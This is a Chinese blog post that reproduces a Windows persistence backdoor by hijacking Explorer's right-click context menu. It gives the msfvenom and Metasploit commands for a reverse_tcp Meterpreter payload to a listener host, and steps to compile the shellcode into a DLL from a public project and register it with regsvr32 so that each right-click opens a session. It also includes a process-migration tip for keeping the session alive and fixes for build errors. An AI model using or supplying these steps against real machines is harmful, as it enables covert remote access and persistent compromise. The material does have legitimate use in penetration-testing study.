劫持资源管理器实现持久性后门

简介: 劫持资源管理器实现持久性后门

0x01 前言

最近看到一篇有关《劫持Explorer.exe实现持久性》的文章,只要用户右键单击文件资源管理器中的文件或文件夹就会触发,简单记录下本地复现过程!


0x02 复现过程

CobaltStrike或Metasploit生成一个C格式shellcode,将shellcode中的"都替换为空,再用\r\n将其放在一行,配置好相关参数执行监听。

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 EXITFUNC=thread -f c
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.1.120
    set lport 443
    exploit

    VS打开该项目,在FileContextMenuExt.cpp第13行处插入我们处理好的shellcode,直接编译得到一个ContextMenuHijack.dll。


    项目地址:

      https://github.com/RistBS/ContextMenuHijack

      接着我们通过执行以下命令用regsvr32注册下这个dll文件,如果想卸载掉只需加个/u参数即可。


      注册:

        regsvr32 ContextMenuHijack.dll

        卸载:

          regsvr32 /u ContextMenuHijack.dll

          这时只要我们右键文件或文件夹就会触发上线,但这种方式极易造成Explorer.exe资源管理器奔溃,导致会话掉线,建议加个自动迁移进程参数。

            set AutoRunScript migrate -f

            0x03 编译问题

            我的VS版本2017,但这个项目是2022编译的,所以编译时可能由于VS版本问题而出现下图报错:错误 MSB8020 无法找到 v143 的生成工具(平台工具集 =“v143”)。若要使用 v143 生成工具进行生成,请安装 v143 生成工具。或者,可以升级到当前 Visual Studio 工具,方式是通过选择“项目”菜单或右键单击该解决方案,然后选择“重定解决方案目标”


            解决方法:

              选中项目 -> 右键属性 -> 将平台工具集选为VS2017(V141);
              选中工程 -> 重定解决方案目标 -> 选择当前Windows SDK版本;
              打开项目根目录下.vcxproj后缀文件,将v143全替换为v141,保存;
              切换回Visual Studio,检测到文件修改,我们选择“全部重新加载”;
              再次选中工程 -> 重新生成解决方案 -> 已经编译成功,完美解决该问题。


              参考链接:

              https://pentestlab.blog/2023/03/13/persistence-context-menu/
              https://ristbs.github.io/2023/02/15/hijack-explorer-context-menu-for-persistence-and-fun.html
              相关文章
              |
              4月前
              |
              存储 SQL 安全
              【恶意代码系列】一.何谓恶意代码
              【恶意代码系列】一.何谓恶意代码
              |
              4月前
              |
              安全
              【恶意代码系列】五、处理恶意代码主要步骤及总结
              【恶意代码系列】五、处理恶意代码主要步骤及总结
              |
              SQL Windows
              1433映像劫持后门提权
              首先: 1.服务器开启了终端端口(终端端口未必是3389,可以自行查询) 2.服务器的粘滞键功能无损,只要可以正常弹出即可 3.
              929 0
              |
              安全 JavaScript
              怎么防止网站不被挂木马篡改
              因为说这些脚本文件它都是一些静态的文件连接,那么既然是静态的,那就是说我们存放这个脚本的这个服务器,它只能放静态文件,不支持任何的脚本语言,那它也就不可能存在任何的后门,也不可能被篡改挂木马,上传脚本后门文件等等这些问题,所以说只要替换成静态的连接文件,那么说你网站从此以后没人能修改这些静态的脚本文件,他如果想给网站挂木马的话,那只有其他的办法,那就是说给你网页插入一个新的脚本文件,那么他给你插一个新的脚本文件的话,我想普通的站长一眼就能看到,所以不需要到处去找,直接就可以把它移除掉,或者是我们可以配合一些网站的检测一些程序,检测你网站是否存在未知的文件,配合这样一些东西去方便快速的锁定,这个
              276 0
              怎么防止网站不被挂木马篡改
              |
              缓存 安全 关系型数据库
              服务器被挖矿木马攻击该怎么处理
              正月里来是新年,刚开始上班我们SINE安全团队,首次挖掘发现了一种新的挖矿木马,感染性极强,穿透内网,自动尝试攻击服务器以及其他网站,通过我们一系列的追踪,发现了攻击者的特征,首先使用thinkphp远程代码执行漏洞,以及ecshop getshell漏洞,phpcms缓存写入漏洞来进行攻击网站,通过网站权限来提权拿到服务器管理员权限,利用其中一台服务器作为中转,来给其他服务器下达命令,执行攻击脚本,注入挖矿木马,对一些服务器的远程管理员账号密码,mysql数据库的账号密码进行暴力猜解。
              532 0
              服务器被挖矿木马攻击该怎么处理
              |
              监控 安全 程序员
              服务器里如何查杀网站后门文件
              收到阿里云的短信提醒说是网站存在后门,webshell恶意通信行为,紧急的安全情况,我第一时间登录阿里云查看详情,点开云盾动态感知,查看了网站木马的详细路径以及webshell的特征,网站从来没有出现过这种情况,一脸懵逼,无奈询问度娘吧,百度搜索了什么是webshell,为了解决这个问题,我可是下了很大的功夫,终于了解清楚并解决了阿里云提示网站后门的这个问题,记录一下我解决问题的过程。
              3882 0
              |
              安全 应用服务中间件 网络安全
              Struts2致命远程执行代码漏洞植入门罗币挖矿安装病毒解决方法
              早期由于redis低版本发现远程可执行代码漏洞,导致被黑客植入挖矿木马,服务器沦为矿机。今年Struts2又出现该漏洞,一年前自己有用Struts2编写过一个网站,没想到今天被我遇到了,特地写文章记录一下。
              2311 0